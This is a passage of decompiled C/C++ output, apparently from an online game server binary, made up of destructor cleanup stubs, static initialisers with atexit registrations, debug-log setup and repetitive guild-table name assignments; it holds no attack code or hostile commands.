_L71165(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 872)); } //----- (0058CE1E) -------------------------------------------------------- void __usercall _L71166(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 936)); } //----- (0058CE40) -------------------------------------------------------- void __usercall _L71216(int a1) { MobDataBox::__unnamed::___unnamed(*(BinaryData **)(a1 - 16)); } //----- (0058CE60) -------------------------------------------------------- void __usercall _L71569(int a1) { MobDataBox::__unnamed::___unnamed(*(BinaryData **)(a1 - 16)); } //----- (0058CE68) -------------------------------------------------------- void __usercall _L71570(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 16) + 1112)); } //----- (0058CE80) -------------------------------------------------------- void __usercall _L104302(int a1) { IObserver::_IObserver(*(ItemSmallBag **)(a1 - 16)); } //----- (0058CEA0) -------------------------------------------------------- void __usercall _L104316(int a1) { ItemBag::_ItemBag(*(ItemBag **)(a1 - 16)); } //----- (0058CEC0) -------------------------------------------------------- void __usercall _L104331(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (0058CEE0) -------------------------------------------------------- void __usercall _L12148(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 16)); } //----- (0058CEE8) -------------------------------------------------------- void __usercall _L12149(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (0058CEF3) -------------------------------------------------------- void __usercall _L12150(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 48)); } //----- (0058CEFE) -------------------------------------------------------- void __usercall _L12151(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 116)); } //----- (0058CF09) -------------------------------------------------------- void __usercall _L12152(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 117)); } //----- (0058CF20) -------------------------------------------------------- void __usercall _L12475(int a1) { ORColumnHeaderList::_ORColumnHeaderList((ORColumnHeaderList *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (0058CF2B) -------------------------------------------------------- void __usercall _L12476(int a1) { ListArray::_ListArray((ListArray *)(*(_DWORD *)(a1 - 16) + 2072)); } //----- (0058CF39) -------------------------------------------------------- void __usercall _L12477(int a1) { List::_List((List *)(*(_DWORD *)(a1 - 16) + 2080)); } //----- (0058CF60) -------------------------------------------------------- void __usercall _L12872(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058CF80) -------------------------------------------------------- void __usercall _L12898(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058CFA0) -------------------------------------------------------- void __usercall _L13683(int a1) { ORColumnHeaderList::_ORColumnHeaderList((ORColumnHeaderList *)(*(_DWORD *)(a1 - 20) + 24)); } //----- (0058CFAB) -------------------------------------------------------- void __usercall _L13695(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (0058CFB6) -------------------------------------------------------- void __usercall _L13684(int a1) { ListArray::_ListArray((ListArray *)(*(_DWORD *)(a1 - 20) + 2072)); } //----- (0058CFD0) -------------------------------------------------------- void __usercall _L13716(int a1) { TokenArgument::_TokenArgument(*(TokenArgument **)(a1 - 16)); } //----- (0058CFD8) -------------------------------------------------------- void __usercall _L13717(int a1) { List::_List((List *)(*(_DWORD *)(a1 - 16) + 156)); } //----- (0058CFF0) -------------------------------------------------------- void __usercall _L13856(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 4128)); } //----- (0058D010) -------------------------------------------------------- void __usercall _L13211(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 52)); } //----- (0058D030) -------------------------------------------------------- void __usercall _L13351(int a1) { operator delete(*(void **)(a1 - 48)); } //----- (0058D03B) -------------------------------------------------------- void __usercall _L13352(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 44)); } //----- (0058D050) -------------------------------------------------------- void __usercall _L13406(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058D070) -------------------------------------------------------- void __usercall _L13434(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 48)); } //----- (0058D090) -------------------------------------------------------- void __usercall _L13545(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (0058D0B0) -------------------------------------------------------- void __usercall _L13583(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 52)); } //----- (0058D0D0) -------------------------------------------------------- void __usercall _L14246(int a1) { operator delete__(*(void **)(a1 + 4)); } //----- (0058D0F0) -------------------------------------------------------- void __usercall _L14282(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (0058D110) -------------------------------------------------------- void __usercall _L14439(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 44)); } //----- (0058D130) -------------------------------------------------------- void __usercall _L2056(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0058D150) -------------------------------------------------------- void __usercall _L2132(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058D170) -------------------------------------------------------- void __usercall _L2182(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0058D178) -------------------------------------------------------- void __usercall _L2183(int a1) { ListArray::_ListArray((ListArray *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (0058D190) -------------------------------------------------------- void __usercall _L60415(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (0058D1B0) -------------------------------------------------------- void __usercall _L67641(int a1) { CToken::_CToken(*(CToken **)(a1 - 16)); } //----- (0058D1D0) -------------------------------------------------------- void __usercall _L67656(int a1) { CToken::_CToken(*(CToken **)(a1 - 1288)); } //----- (0058D1F0) -------------------------------------------------------- void __usercall _L67673(int a1) { CCsl::_CCsl((CCsl *)(a1 - 1288)); } //----- (0058D210) -------------------------------------------------------- void __usercall _L65656(int a1) { String::_String((String *)(a1 + 36)); } //----- (0058D218) -------------------------------------------------------- void __usercall _L65657(int a1) { String::_String((String *)(a1 + 20)); } //----- (0058D220) -------------------------------------------------------- void __usercall _L65658(int a1) { String::_String((String *)(a1 + 4)); } //----- (0058D240) -------------------------------------------------------- void __usercall _L65790(int a1) { String::_String((String *)(a1 + 4)); } //----- (0058D260) -------------------------------------------------------- void __usercall _L69535(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (0058D268) -------------------------------------------------------- void __usercall _L69536(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 440)); } //----- (0058D276) -------------------------------------------------------- void __usercall _L69537(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 720)); } //----- (0058D290) -------------------------------------------------------- void __usercall _L69634(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (0058D2B0) -------------------------------------------------------- void __usercall _L69655(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 84)); } //----- (0058D2D0) -------------------------------------------------------- void __usercall _L70754(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (0058D2DB) -------------------------------------------------------- void __usercall _L70755(int a1) { ItemDataBox::__unnamed::___unnamed((BinaryData *)(*(_DWORD *)(a1 - 16) + 1036)); } //----- (0058D300) -------------------------------------------------------- void __usercall _L59327(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (0058D320) -------------------------------------------------------- void __usercall _L59369(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (0058D328) -------------------------------------------------------- void __usercall _L59370(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 16) + 140)); } //----- (0058D340) -------------------------------------------------------- void __usercall _L56672(int a1) { CGdp::_CGdp(*(CGdp **)(a1 - 16)); } //----- (0058D360) -------------------------------------------------------- void __usercall _L69876(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 44)); } //----- (0058D380) -------------------------------------------------------- void __usercall _L82291(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (0058D3C0) -------------------------------------------------------- void __usercall _L84870(int a1) { std::list_std::allocator>>::_list_std::allocator>>((std::list,std::allocator > > *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (0058D3E0) -------------------------------------------------------- void __usercall _L87743(int a1) { stdext::hash_multimap>_std::allocator>>::_hash_multimap>_std::allocator>>((stdext::hash_multimap >,std::allocator > > *)(*(_DWORD *)(a1 - 16) + 28)); } //----- (0058D400) -------------------------------------------------------- void __usercall _L88443(int a1) { stdext::hash_multimap>_std::allocator>>::_hash_multimap>_std::allocator>>((stdext::hash_multimap >,std::allocator > > *)(*(_DWORD *)(a1 - 16) + 28)); } //----- (0058D40B) -------------------------------------------------------- void __usercall _L88444(int a1) { stdext::hash_multimap>_std::allocator>>::_hash_multimap>_std::allocator>>((stdext::hash_multimap >,std::allocator > > *)(*(_DWORD *)(a1 - 16) + 68)); } //----- (0058D420) -------------------------------------------------------- void __usercall _L86172(int a1) { CToken::_CToken((CToken *)(*(_DWORD *)(a1 - 16) + 1340)); } //----- (0058D440) -------------------------------------------------------- void __usercall _L66132(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 76)); } //----- (0058D448) -------------------------------------------------------- void __usercall _L66133(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 104)); } //----- (0058D460) -------------------------------------------------------- void __usercall _L66623(int a1) { CMD5Checksum::_CMD5Checksum((CMD5Checksum *)(a1 - 108)); } //----- (0058D472) -------------------------------------------------------- void __usercall _L11871(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 40)); } //----- (0058D484) -------------------------------------------------------- void __usercall _L12841(int a1) { std::locale::facet::_facet(*(std::num_put > > **)(a1 - 20)); } //----- (0058D48C) -------------------------------------------------------- void __usercall _L12842(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(*(_DWORD *)(a1 - 20) + 24)); } //----- (0058D497) -------------------------------------------------------- void __usercall _L12843(int a1) { std::_Lockit::__Lockit((std::_Lockit *)(a1 - 16)); } //----- (0058D4A9) -------------------------------------------------------- void __usercall _L13072(int a1) { std::locale::facet::_facet(*(std::num_put > > **)(a1 - 16)); } //----- (0058D4BB) -------------------------------------------------------- void __usercall _L13087(int a1) { std::_Lockit::__Lockit(*(std::_Lockit **)(a1 - 16)); } //----- (0058D4C3) -------------------------------------------------------- void __usercall _L13088(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (0058D4CE) -------------------------------------------------------- void __usercall _L13089(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(*(_DWORD *)(a1 - 16) + 32)); } //----- (0058D4D9) -------------------------------------------------------- void __usercall _L13090(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(*(_DWORD *)(a1 - 16) + 60)); } //----- (0058D4E4) -------------------------------------------------------- void __usercall _L13091(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(*(_DWORD *)(a1 - 16) + 88)); } //----- (0058D4F9) -------------------------------------------------------- void __usercall _L13116(int a1) { std::_Lockit::__Lockit((std::_Lockit *)(a1 - 16)); } //----- (0058D501) -------------------------------------------------------- void __usercall _L13117(int a1) { operator delete(*(void **)(a1 - 20)); } //----- (0058D515) -------------------------------------------------------- void __usercall _L8663(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (0058D51D) -------------------------------------------------------- void __usercall _L8664(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (0058D525) -------------------------------------------------------- void __usercall _L8665(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 148)); } //----- (0058D53A) -------------------------------------------------------- void __usercall _L8700(int a1) { exception::_exception(*(exception **)(a1 - 16)); } //----- (0058D550) -------------------------------------------------------- int __cdecl _E4() { AbnormalStateContainer::ActorCluster::ActorCluster(&actorcluster); return atexit(_E5_0); } //----- (0058D570) -------------------------------------------------------- int __cdecl _E7() { memset(&clearabstate, 0, 0x30u); clearabstate.csb_abstatabit.statebit[48] = 0; return atexit(_E8_2); } //----- (0058D590) -------------------------------------------------------- int __cdecl _E10() { AbnormalStateContainer::AbnormalStateList::AbnormalStateList(&abstatetemplate); return atexit(_E11_1); } //----- (0058D5B0) -------------------------------------------------------- int __cdecl _E1() { AbnormalStateDictionary::SubAbState::SubAbState(&dic_subabstate); return atexit(_E2); } //----- (0058D5D0) -------------------------------------------------------- int __cdecl _E4_0() { AbnormalStateDictionary::AbState::AbState(&dic_abstate); return atexit(_E5_1); } //----- (0058D5F0) -------------------------------------------------------- int __cdecl _E3() { NPCAction::Manager::Manager(&g_AbstateShelter); return atexit(_E4_60); } //----- (0058D610) -------------------------------------------------------- int __cdecl _E4_1() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"AmpersandCommandLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&AmpersandCommandLog - "AmpersandCommandLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); unk_608FD8 = 0; EraseOldLogList("AmpersandCommandLog"); unk_60915C = 1; return atexit(_E5_2); } //----- (0058D660) -------------------------------------------------------- int __cdecl _E7_0() { AmpersandCommand::AmpersandCommand(&cmd); return atexit(_E8_3); } //----- (0058D680) -------------------------------------------------------- int __cdecl _E1_0() { AttackRhythm::AttackRhythm_Melee::AttackRhythm_Melee(&attrhythm_melee); return atexit(_E2_0); } //----- (0058D6A0) -------------------------------------------------------- int __cdecl _E4_2() { AttackRhythm::AttackRhythm_Range::AttackRhythm_Range(&attrhythm_range); return atexit(_E5_3); } //----- (0058D6C0) -------------------------------------------------------- int __cdecl _E7_1() { AttackRhythm::AttackRhythm_Mob::AttackRhythm_Mob(&attrhythm_mob); return atexit(_E8_4); } //----- (0058D6E0) -------------------------------------------------------- int __cdecl _E4_3() { BattleObjectGroup::BattleObjectList::BattleObjectList(&btlobjlist); return atexit(_E5_5); } //----- (0058D700) -------------------------------------------------------- int __cdecl _E7_2() { return atexit(_E8_5); } //----- (0058D710) -------------------------------------------------------- int __cdecl _E10_0() { SkillEffectApply::SkillBlastEffectContainer::SkillBlastEffectContainer(&skilleffectapplyer); return atexit(_E11_3); } //----- (0058D730) -------------------------------------------------------- int __cdecl _E13() { SkillEffectApply::SkillDamageSender::SkillDamageSender(&skilldamagesender); return atexit(_E14_1); } //----- (0058D750) -------------------------------------------------------- int __cdecl _E16() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("SkillDamageLog"); return atexit(_E17_2); } //----- (0058D7A0) -------------------------------------------------------- int __cdecl _E1_1() { return atexit(_E2_1); } //----- (0058D7B0) -------------------------------------------------------- int __cdecl _E1_2() { BlockDistribute::BlockingDistributeList::BlockingDistributeList(&g_BlockingDistributeList); return atexit(_E2_2); } //----- (0058D7D0) -------------------------------------------------------- int __cdecl _E4_4() { BlockDistribute::BlockDistributeManager::BlockDistributeManager(&blockdistmanager); return atexit(_E5_6); } //----- (0058D7F0) -------------------------------------------------------- int __cdecl _E5() { BriefInfoDelete::BriefInfoDelete(&briefinfodelete); return atexit(_E6_11); } //----- (0058D810) -------------------------------------------------------- int __cdecl _E8() { BriefInformationAbstate::BriefInformationAbstate(&briefInformationAbstate); return atexit(_E9_8); } //----- (0058D830) -------------------------------------------------------- int __cdecl _E11() { CalculateBroadcastDistance::CalculateBroadcastDistance(&broadcastdistance); return atexit(_E12_3); } //----- (0058D850) -------------------------------------------------------- int __cdecl _E14() { BriefInfoExchanger::BriefInfoExchangeCharacter::BriefInfoExchangeCharacter(&briefchar); return atexit(_E15_3); } //----- (0058D870) -------------------------------------------------------- int __cdecl _E17() { BriefInfoExchanger::BriefInfoExchangeMob::BriefInfoExchangeMob(&briefmob); return atexit(_E18_3); } //----- (0058D890) -------------------------------------------------------- int __cdecl _E20() { BriefInfoExchanger::BriefInfoExchangeDoor::BriefInfoExchangeDoor(&briefdoor); return atexit(_E21_2); } //----- (0058D8B0) -------------------------------------------------------- int __cdecl _E23() { BriefInfoExchanger::BriefInfoExchangeEffect::BriefInfoExchangeEffect(&briefeffect); return atexit(_E24_2); } //----- (0058D8D0) -------------------------------------------------------- int __cdecl _E26() { BriefInfoExchanger::BriefInfoExchangeItem::BriefInfoExchangeItem(&briefitem); return atexit(_E27_2); } //----- (0058D8F0) -------------------------------------------------------- int __cdecl _E29() { BriefInfoExchanger::BriefInfoExchangeMagicField::BriefInfoExchangeMagicField(&briefmagfld); return atexit(_E30_2); } //----- (0058D910) -------------------------------------------------------- int __cdecl _E32() { BriefInfoExchanger::BriefInfoExchangeMiniHouse::BriefInfoExchangeMiniHouse(&briefminihouse); return atexit(_E33_2); } //----- (0058D930) -------------------------------------------------------- int __cdecl _E35() { BriefInfoExchanger::BriefInfoExchangeAbstate::BriefInfoExchangeAbstate(&briefabstate_char); return atexit(_E36_2); } //----- (0058D950) -------------------------------------------------------- int __cdecl _E38() { BriefInfoExchanger::BriefInfoExchangeAbstate::BriefInfoExchangeAbstate(&briefabstate_mob); return atexit(_E39_2); } //----- (0058D970) -------------------------------------------------------- int __cdecl _E3_0() { PassiveMasteryVariable::PassiveMasteryVariable(&pmv); return atexit(_E4_61); } //----- (0058D990) -------------------------------------------------------- int __cdecl _E4_5() { CharClassManager::CharClassManager(&charclassmanager); return atexit(_E5_7); } //----- (0058D9B0) -------------------------------------------------------- int __cdecl _E3_1() { DataFromOtherMachineList::DataFromOtherMachineList(&listofdatafromothermachine); return atexit(_E4_62); } //----- (0058D9D0) -------------------------------------------------------- int __cdecl _E1_3() { ChargedItemEffectDataBox::ChargedItemEffectDataBox(&chargedbuffdatabox); return atexit(_E2_3); } //----- (0058D9F0) -------------------------------------------------------- int __cdecl _E4_6() { ChargedItemEffectDataBox::ChargedItemEffectDataBox(&minihousedatabox); return atexit(_E5_9); } //----- (0058DA10) -------------------------------------------------------- int __cdecl _E7_3() { ChargedItemEffectDataBox::ChargedItemEffectDataBox(&minihousefurnituredatabox); return atexit(_E8_6); } //----- (0058DA30) -------------------------------------------------------- int __cdecl _E10_1() { RidePetDataBox::RidePetDataBox((RidePetDataBox *)&ridedatabox); return atexit(_E11_4); } //----- (0058DA50) -------------------------------------------------------- int __cdecl _E4_7() { WholeSaver::WholeSaver(&wholesaver); return atexit(_E5_11); } //----- (0058DA70) -------------------------------------------------------- int __cdecl _E7_4() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"SkillCoolTimeLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&SkillCoolTimeLog - "SkillCoolTimeLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); SkillCoolTimeLog.dl_FilePointer = 0; EraseOldLogList("SkillCoolTimeLog"); SkillCoolTimeLog.dl_Activ = 1; return atexit(_E8_7); } //----- (0058DAC0) -------------------------------------------------------- int __cdecl _E4_8() { ZoneListenSession::ZoneListenSession(&zonelisten); return atexit(_E5_13); } //----- (0058DAE0) -------------------------------------------------------- int __cdecl _E1_4() { return atexit(_E2_4); } //----- (0058DAF0) -------------------------------------------------------- int __cdecl _E4_9() { return atexit(_E5_14); } //----- (0058DB00) -------------------------------------------------------- int __cdecl _E4_10() { DefSkillData::DefSkillData(&defskill); return atexit(_E5_15); } //----- (0058DB20) -------------------------------------------------------- int __cdecl _E7_5() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"MoverErrorLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&MoverErrorLog - "MoverErrorLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); MoverErrorLog.dl_FilePointer = 0; EraseOldLogList("MoverErrorLog"); MoverErrorLog.dl_Activ = 1; return atexit(_E8_8); } //----- (0058DB70) -------------------------------------------------------- int __cdecl _E1_5() { return atexit(_E2_5); } //----- (0058DB80) -------------------------------------------------------- int __cdecl _E4_11() { char *v0; // eax@1 signed int v1; // ecx@2 v0 = (char *)&dropitemanalyzer.dia_DropItem[0][0].num; do { v1 = 500; do { *(_WORD *)v0 = 0; v0 += 6; --v1; } while ( v1 ); } while ( (signed int)v0 < (signed int)&dropitemanalyzer.dia_DropItem[255][0].num ); return atexit(_E5_16); } //----- (0058DBC0) -------------------------------------------------------- int __cdecl _E1_6() { DropLocationManager::DropLocationManager(&droplocman); return atexit(_E2_6); } //----- (0058DBE0) -------------------------------------------------------- int __cdecl _E1_7() { equipman.eec_Column[0] = (char *)-1; equipman.eec_Column[3] = (char *)-1; equipman.eec_Column[4] = (char *)-1; equipman.eec_Column[5] = (char *)-1; equipman.eec_Column[14] = (char *)-1; equipman.eec_Column[6] = (char *)191; equipman.eec_Column[1] = (char *)192; equipman.eec_Column[23] = (char *)193; equipman.eec_Column[12] = (char *)194; equipman.eec_Column[7] = (char *)195; equipman.eec_Column[10] = (char *)196; equipman.eec_Column[15] = (char *)197; equipman.eec_Column[19] = (char *)198; equipman.eec_Column[16] = (char *)199; equipman.eec_Column[21] = (char *)200; equipman.eec_Column[22] = (char *)201; equipman.eec_Column[20] = (char *)202; equipman.eec_Column[8] = (char *)203; equipman.eec_Column[2] = (char *)204; equipman.eec_Column[24] = (char *)205; equipman.eec_Column[25] = (char *)206; equipman.eec_Column[26] = (char *)207; equipman.eec_Column[27] = (char *)208; equipman.eec_Column[11] = (char *)209; equipman.eec_Column[13] = (char *)210; equipman.eec_Column[9] = (char *)211; equipman.eec_Column[17] = (char *)212; equipman.eec_Column[18] = (char *)213; equipman.eec_Column[28] = (char *)214; return atexit(_E2_7); } //----- (0058DD70) -------------------------------------------------------- int __cdecl _E4_12() { strncpy(rouname.n3_name, "Rou", 0xCu); return atexit(_E5_17); } //----- (0058DD90) -------------------------------------------------------- int __cdecl _E7_6() { return atexit(_E8_9); } //----- (0058DDA0) -------------------------------------------------------- int __cdecl _E10_2() { return atexit(_E11_7); } //----- (0058DDB0) -------------------------------------------------------- int __cdecl _E13_0() { FieldContainer::FieldContainer((FieldContainer *)&fieldlist); return atexit(_E14_2); } //----- (0058DDD0) -------------------------------------------------------- int __cdecl _E16_0() { BTree::BTree(&fieldserial); return atexit(_E17_4); } //----- (0058DDF0) -------------------------------------------------------- int __cdecl _E19() { MapRearrangeObserver::MapRearrangeObserver(&maprearrangeobserver); return atexit(_E20_1); } //----- (0058DE10) -------------------------------------------------------- int __cdecl _E1_8() { FunctionCallingAnalyzer::FunctionCallingAnalyzer(&funcallanalizer); return atexit(_E2_8); } //----- (0058DE30) -------------------------------------------------------- int __cdecl _E4_13() { FunctionProfiler::PerformanceRecorder::PerformanceRecorder(&_PerformanceRecorder); return atexit(_E5_18); } //----- (0058DE50) -------------------------------------------------------- int __cdecl _E4_14() { GatherProduce::GatherTable::GatherTable(&gathertable); return atexit(_E5_19); } //----- (0058DE70) -------------------------------------------------------- int __cdecl _E7_7() { GatherProduce::RecipeBook::RecipeBook(&recipebook); return atexit(_E8_10); } //----- (0058DE90) -------------------------------------------------------- int __cdecl _E4_15() { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::GuildAcademyRewardStorageManager(&gldacademyrewardstoramanager); return atexit(_E5_21); } //----- (0058DEB0) -------------------------------------------------------- int __cdecl _E4_16() { MemoryQueue::MemoryQueue(&queue_GuildReName); return atexit(_E5_22); } //----- (0058DED0) -------------------------------------------------------- int __cdecl _E7_8() { MemoryQueue::MemoryQueue(&queue_GuildReType); return atexit(_E8_11); } //----- (0058DEF0) -------------------------------------------------------- int __cdecl _E4_17() { GuildStorage::GuildStorageManager::GuildStorageManager(&gldstoramanager); return atexit(_E5_23); } //----- (0058DF10) -------------------------------------------------------- int __cdecl _E4_18() { strncpy(byte_C88F321, "GuildT0400", 0xCu); byte_C88F32D = 0; dword_C88F336 = 0; dword_C88F332 = 0; *(_DWORD *)dword_C88F32E = 0; strncpy(dword_C88F32E, "GuildT0401", 0xCu); byte_C88F33A = 0; dword_C88F343 = 0; dword_C88F33F = 0; *(_DWORD *)dword_C88F33B = 0; strncpy(dword_C88F33B, "GuildT0402", 0xCu); byte_C88F347 = 0; dword_C88F350 = 0; dword_C88F34C = 0; *(_DWORD *)dword_C88F348 = 0; strncpy(dword_C88F348, "GuildT0403", 0xCu); byte_C88F354 = 0; dword_C88F35D = 0; dword_C88F359 = 0; *(_DWORD *)dword_C88F355 = 0; strncpy(dword_C88F355, "GuildT0404", 0xCu); byte_C88F361 = 0; dword_C88F36A = 0; dword_C88F366 = 0; *(_DWORD *)dword_C88F362 = 0; strncpy(dword_C88F362, "GuildT0405", 0xCu); byte_C88F36E = 0; dword_C88F377 = 0; dword_C88F373 = 0; *(_DWORD *)dword_C88F36F = 0; strncpy(dword_C88F36F, "GuildT0406", 0xCu); byte_C88F37B = 0; dword_C88F384 = 0; dword_C88F380 = 0; *(_DWORD *)dword_C88F37C = 0; strncpy(dword_C88F37C, "GuildT0407", 0xCu); byte_C88F388 = 0; dword_C88F391 = 0; dword_C88F38D = 0; *(_DWORD *)dword_C88F389 = 0; strncpy(dword_C88F389, "GuildT0400", 0xCu); byte_C88F395 = 0; dword_C88F39E = 0; dword_C88F39A = 0; *(_DWORD *)dword_C88F396 = 0; strncpy(dword_C88F396, "GuildT0401", 0xCu); byte_C88F3A2 = 0; dword_C88F3AB = 0; dword_C88F3A7 = 0; *(_DWORD *)dword_C88F3A3 = 0; strncpy(dword_C88F3A3, "GuildT0402", 0xCu); byte_C88F3AF = 0; dword_C88F3B8 = 0; dword_C88F3B4 = 0; *(_DWORD *)dword_C88F3B0 = 0; strncpy(dword_C88F3B0, "GuildT0403", 0xCu); byte_C88F3BC = 0; dword_C88F3C5 = 0; dword_C88F3C1 = 0; *(_DWORD *)dword_C88F3BD = 0; strncpy(dword_C88F3BD, "GuildT0404", 0xCu); byte_C88F3C9 = 0; dword_C88F3D2 = 0; dword_C88F3CE = 0; *(_DWORD *)dword_C88F3CA = 0; strncpy(dword_C88F3CA, "GuildT0405", 0xCu); byte_C88F3D6 = 0; dword_C88F3DF = 0; dword_C88F3DB = 0; *(_DWORD *)dword_C88F3D7 = 0; strncpy(dword_C88F3D7, "GuildT0406", 0xCu); byte_C88F3E3 = 0; dword_C88F3EC = 0; dword_C88F3E8 = 0; *(_DWORD *)dword_C88F3E4 = 0; strncpy(dword_C88F3E4, "GuildT0407", 0xCu); byte_C88F3F0 = 0; dword_C88F3F9 = 0; dword_C88F3F5 = 0; *(_DWORD *)dword_C88F3F1 = 0; strncpy(dword_C88F3F1, "GuildT0400", 0xCu); byte_C88F3FD = 0; dword_C88F406 = 0; dword_C88F402 = 0; *(_DWORD *)dword_C88F3FE = 0; strncpy(dword_C88F3FE, "GuildT0401", 0xCu); byte_C88F40A = 0; dword_C88F413 = 0; dword_C88F40F = 0; *(_DWORD *)dword_C88F40B = 0; strncpy(dword_C88F40B, "GuildT0402", 0xCu); byte_C88F417 = 0; dword_C88F420 = 0; dword_C88F41C = 0; *(_DWORD *)dword_C88F418 = 0; strncpy(dword_C88F418, "GuildT0403", 0xCu); byte_C88F424 = 0; dword_C88F42D = 0; dword_C88F429 = 0; *(_DWORD *)dword_C88F425 = 0; strncpy(dword_C88F425, "GuildT0404", 0xCu); byte_C88F431 = 0; dword_C88F43A = 0; dword_C88F436 = 0; *(_DWORD *)dword_C88F432 = 0; strncpy(dword_C88F432, "GuildT0405", 0xCu); byte_C88F43E = 0; dword_C88F447 = 0; dword_C88F443 = 0; *(_DWORD *)dword_C88F43F = 0; strncpy(dword_C88F43F, "GuildT0406", 0xCu); byte_C88F44B = 0; dword_C88F454 = 0; dword_C88F450 = 0; *(_DWORD *)dword_C88F44C = 0; strncpy(dword_C88F44C, "GuildT0407", 0xCu); byte_C88F458 = 0; dword_C88F461 = 0; dword_C88F45D = 0; *(_DWORD *)dword_C88F459 = 0; strncpy(dword_C88F459, "GuildT0400", 0xCu); byte_C88F465 = 0; dword_C88F46E = 0; dword_C88F46A = 0; *(_DWORD *)dword_C88F466 = 0; strncpy(dword_C88F466, "GuildT0401", 0xCu); byte_C88F472 = 0; dword_C88F47B = 0; dword_C88F477 = 0; *(_DWORD *)dword_C88F473 = 0; strncpy(dword_C88F473, "GuildT0402", 0xCu); 